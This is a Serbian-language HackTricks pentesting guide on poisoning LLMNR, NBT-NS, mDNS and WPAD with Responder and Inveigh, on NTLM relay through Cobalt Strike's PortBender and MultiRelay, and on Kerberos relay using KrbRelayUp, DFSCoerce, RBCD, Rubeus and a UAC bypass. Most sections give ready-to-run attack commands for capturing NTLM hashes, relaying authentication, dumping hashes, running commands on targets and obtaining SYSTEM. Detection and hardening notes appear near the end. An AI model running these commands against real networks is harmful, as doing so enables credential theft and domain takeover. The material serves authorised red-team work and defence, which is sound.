Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 11 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Mrežni protokoli
Protokoli za lokalno rešavanje hostova
- LLMNR, NBT-NS i mDNS:
- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično tome, Apple i Linux sistemi koriste mDNS.
- Ovi protokoli su podložni presretanju i spoofingu zbog svoje neautentifikovane, broadcast prirode preko UDP-a.
- Responder se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji postavljaju upite ovim protokolima.
- Dodatne informacije o impersonaciji usluga koristeći Responder mogu se naći ovde.
Protokol za automatsko otkrivanje web proxy-a (WPAD)
- WPAD omogućava pretraživačima da automatski otkriju postavke proxy-a.
- Otkriće se olakšava putem DHCP-a, DNS-a, ili povratka na LLMNR i NBT-NS ako DNS zakaže.
- Responder može automatizovati WPAD napade, usmeravajući klijente na zlonamerne WPAD servere.
Responder za trovanje protokola
- Responder je alat koji se koristi za trovanje LLMNR, NBT-NS i mDNS upita, selektivno odgovarajući na osnovu tipova upita, prvenstveno cilja SMB usluge.
- Dolazi unapred instaliran u Kali Linux-u, konfigurisanje se vrši na
/etc/responder/Responder.conf
. - Responder prikazuje uhvaćene hešove na ekranu i čuva ih u direktorijumu
/usr/share/responder/logs
. - Podržava i IPv4 i IPv6.
- Windows verzija Responder-a je dostupna ovde.
Pokretanje Responder-a
- Da biste pokrenuli Responder sa podrazumevanim postavkama:
responder -I <Interface>
- Za agresivnije ispitivanje (sa potencijalnim nuspojavama):
responder -I <Interface> -P -r -v
- Tehnike za hvatanje NTLMv1 izazova/odgovora radi lakšeg krakenja:
responder -I <Interface> --lm --disable-ess
- Impersonacija WPAD-a može se aktivirati sa:
responder -I <Interface> --wpad
- NetBIOS zahtevi mogu se rešiti na IP napadača, a može se postaviti i proxy za autentifikaciju:
responder.py -I <interface> -Pv
DHCP trovanje sa Responder-om
- Spoofing DHCP odgovora može trajno otrovati rutiranje informacije žrtve, nudeći diskretniju alternativu ARP trovanju.
- Zahteva precizno poznavanje konfiguracije ciljne mreže.
- Pokretanje napada:
./Responder.py -I eth0 -Pdv
- Ova metoda može efikasno uhvatiti NTLMv1/2 hešove, ali zahteva pažljivo rukovanje kako bi se izbeglo ometanje mreže.
Hvatanje kredencijala sa Responder-om
- Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 izazov/odgovor) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga.
- Mogu se pokušati pokušaji da se pređe na NetNTLMv1 ili da se onemogući ESS radi lakšeg krakenja kredencijala.
Važno je napomenuti da se korišćenje ovih tehnika mora vršiti legalno i etički, osiguravajući odgovarajuću autorizaciju i izbegavajući ometanje ili neovlašćen pristup.
Inveigh
Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i napade "man-in-the-middle". Alat se razvio iz PowerShell skripte u C# binarni, sa Inveigh i InveighZero kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u wiki.
Inveigh se može koristiti kroz PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Ili izvršeno kao C# binarni fajl:
Inveigh.exe
NTLM Relay Attack
Ovaj napad koristi SMB autentifikacione sesije za pristup ciljnim mašinama, omogućavajući sistemsku ljusku ako je uspešan. Ključni preduslovi uključuju:
- Autentifikovani korisnik mora imati lokalni administratorski pristup na relayed hostu.
- SMB potpisivanje treba biti onemogućeno.
445 Port Forwarding and Tunneling
U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput PortBender pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je lokalni administratorski pristup dostupan za učitavanje drajvera.
PortBender podešavanje i rad u Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Ostali alati za NTLM Relay napad
- Metasploit: Podešen sa proxy-ima, detaljima lokalnih i udaljenih hostova.
- smbrelayx: Python skripta za preusmeravanje SMB sesija i izvršavanje komandi ili postavljanje backdoora.
- MultiRelay: Alat iz Responder paketa za preusmeravanje specifičnih korisnika ili svih korisnika, izvršavanje komandi ili dumpovanje hash-eva.
Svaki alat može biti konfigurisan da radi kroz SOCKS proxy ako je potrebno, omogućavajući napade čak i sa indirektnim pristupom mreži.
MultiRelay operacija
MultiRelay se izvršava iz /usr/share/responder/tools direktorijuma, ciljajući specifične IP adrese ili korisnike.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Ovi alati i tehnike čine sveobuhvatan set za sprovođenje NTLM Relay napada u različitim mrežnim okruženjima.
Prisiljavanje NTLM prijava
Na Windows-u možda ćete moći da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama. Pročitajte sledeću stranicu da biste saznali kako:
Force NTLM Privileged Authentication
Kerberos Relay napad
Kerberos relay napad krade AP-REQ tiket sa jedne usluge i ponovo ga koristi protiv druge usluge koja deli isti ključ računa računara (jer oba SPN-a sede na istom $
računu mašine). Ovo funkcioniše iako se klase usluga SPN-a razlikuju (npr. CIFS/
→ LDAP/
) jer je ključ koji dekriptuje tiket NT hash mašine, a ne sam SPN string i SPN string nije deo potpisa.
Za razliku od NTLM relay, skakanje je ograničeno na istu host ali, ako ciljate protokol koji vam omogućava da pišete u LDAP, možete se povezati u Resource-Based Constrained Delegation (RBCD) ili AD CS upis i pop NT AUTHORITY\SYSTEM u jednom potezu.
Za detaljne informacije o ovom napadu proverite:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Osnovi Kerberosa
Token | Svrha | Relevancija za relay |
---|---|---|
TGT / AS-REQ ↔ REP | Dokazuje korisnika KDC-u | netaknuto |
Servisni tiket / TGS-REQ ↔ REP | Povezan sa jednim SPN; enkriptovan ključem vlasnika SPN-a | zamenljivi ako SPN-ovi dele račun |
AP-REQ | Klijent šalje TGS usluzi | ono što krademo i ponovo koristimo |
- Tiketi su enkriptovani sa ključem izvedenim iz lozinke računa koji poseduje SPN.
- Authenticator unutar AP-REQ ima vremensku oznaku od 5 minuta; ponovna upotreba unutar tog prozora je validna dok keš usluge ne vidi duplikat.
- Windows retko proverava da li se SPN string u tiketu poklapa sa uslugom koju pogodite, tako da tiket za
CIFS/HOST
obično dobro dekriptuje naLDAP/HOST
.
-
- Šta mora biti tačno da bi se relayed Kerberos
- Zajednički ključ: izvorni i ciljni SPN-ovi pripadaju istom računu računara (podrazumevano na Windows serverima).
- Bez zaštite kanala: SMB/LDAP potpis isključen i EPA isključen za HTTP/LDAPS.
- Možete presresti ili primorati autentifikaciju: LLMNR/NBNS otrov, DNS spoof, PetitPotam / DFSCoerce RPC, lažni AuthIP, rogue DCOM, itd.
- Izvor tiketa nije već korišćen: pobedite u trci pre nego što pravi paket stigne ili ga potpuno blokirajte; inače keš ponovne upotrebe servera aktivira Događaj 4649.
- Na neki način morate biti u mogućnosti da izvršite MitM u komunikaciji, možda kao deo grupe DNSAmins da biste izmenili DNS domena ili da biste mogli da promenite HOST datoteku žrtve.
Koraci Kerberos Relay
- 3.1 Recon host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Pokrenite relays slušalac
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
obavija KrbRelay → LDAP → RBCD → Rubeus → SCM bypass u jednoj binarnoj datoteci.
- 3.3 Prisiliti Kerberos autentifikaciju
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce čini da DC pošalje Kerberos CIFS/DC01
tiket nama.
- 3.4 Preusmeri AP-REQ
KrbRelay izvlači GSS blob iz SMB, ponovo ga pakuje u LDAP bind i prosleđuje ga ldap://DC01
—autentifikacija uspeva jer isti ključ dešifruje.
- 3.5 Zloupotreba LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Sada posedujete NT AUTHORITY\SYSTEM.
Još puteva koje vredi znati
Vektor | Trik | Zašto je to važno |
---|---|---|
AuthIP / IPSec | Lažni server šalje GSS-ID payload sa bilo kojim SPN; klijent gradi AP-REQ direktno ka vama | Radi čak i preko podmreža; mašinske kredencijale po defaultu |
DCOM / MSRPC | Zlonamerna OXID rezolucija prisiljava klijenta da se autentifikuje na proizvoljni SPN i port | Čista lokalna privilegija-eskalacija; zaobilazi firewall |
AD CS Web Enroll | Preusmerite mašinski tiket na HTTP/CA i dobijte sertifikat, zatim PKINIT za kreiranje TGT-ova | Zaobilazi LDAP potpisne odbrane |
Shadow Credentials | Napišite msDS-KeyCredentialLink , zatim PKINIT sa lažnim parom ključeva | Nema potrebe za dodavanjem računa računara |
Rešavanje problema
Greška | Značenje | Rešenje |
---|---|---|
KRB_AP_ERR_MODIFIED | Ključ tiketa ≠ ključ cilja | Pogrešan host/SPN |
KRB_AP_ERR_SKEW | Sat > 5 min razlike | Sinhronizujte vreme ili koristite w32tm |
LDAP vezivanje ne uspeva | Potpisivanje je primenjeno | Koristite AD CS putanju ili onemogućite potpisivanje |
Spam događaja 4649 | Usluga je videla duplikat autentifikatora | blokirajte ili trkajte originalni paket |
Detekcija
- Porast u Događaju 4769 za
CIFS/
,HTTP/
,LDAP/
iz istog izvora u roku od nekoliko sekundi. - Događaj 4649 na usluzi ukazuje na detektovanu reprodukciju.
- Kerberos prijava sa 127.0.0.1 (preusmeravanje na lokalni SCM) je veoma sumnjiva—mapirajte putem Sigma pravila u KrbRelayUp dokumentima.
- Pratite promene na atributima
msDS-AllowedToActOnBehalfOfOtherIdentity
ilimsDS-KeyCredentialLink
.
Ojačavanje
- Primorajte LDAP & SMB potpisivanje + EPA na svakom serveru.
- Podelite SPN-ove tako da HTTP nije na istom računu kao CIFS/LDAP.
- Zakrpite vektore prinude (PetitPotam KB5005413, DFS, AuthIP).
- Postavite
ms-DS-MachineAccountQuota = 0
da zaustavite neovlašćena pridruživanja računara. - Upozorite na Događaj 4649 i neočekivane loopback Kerberos prijave.
Reference
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.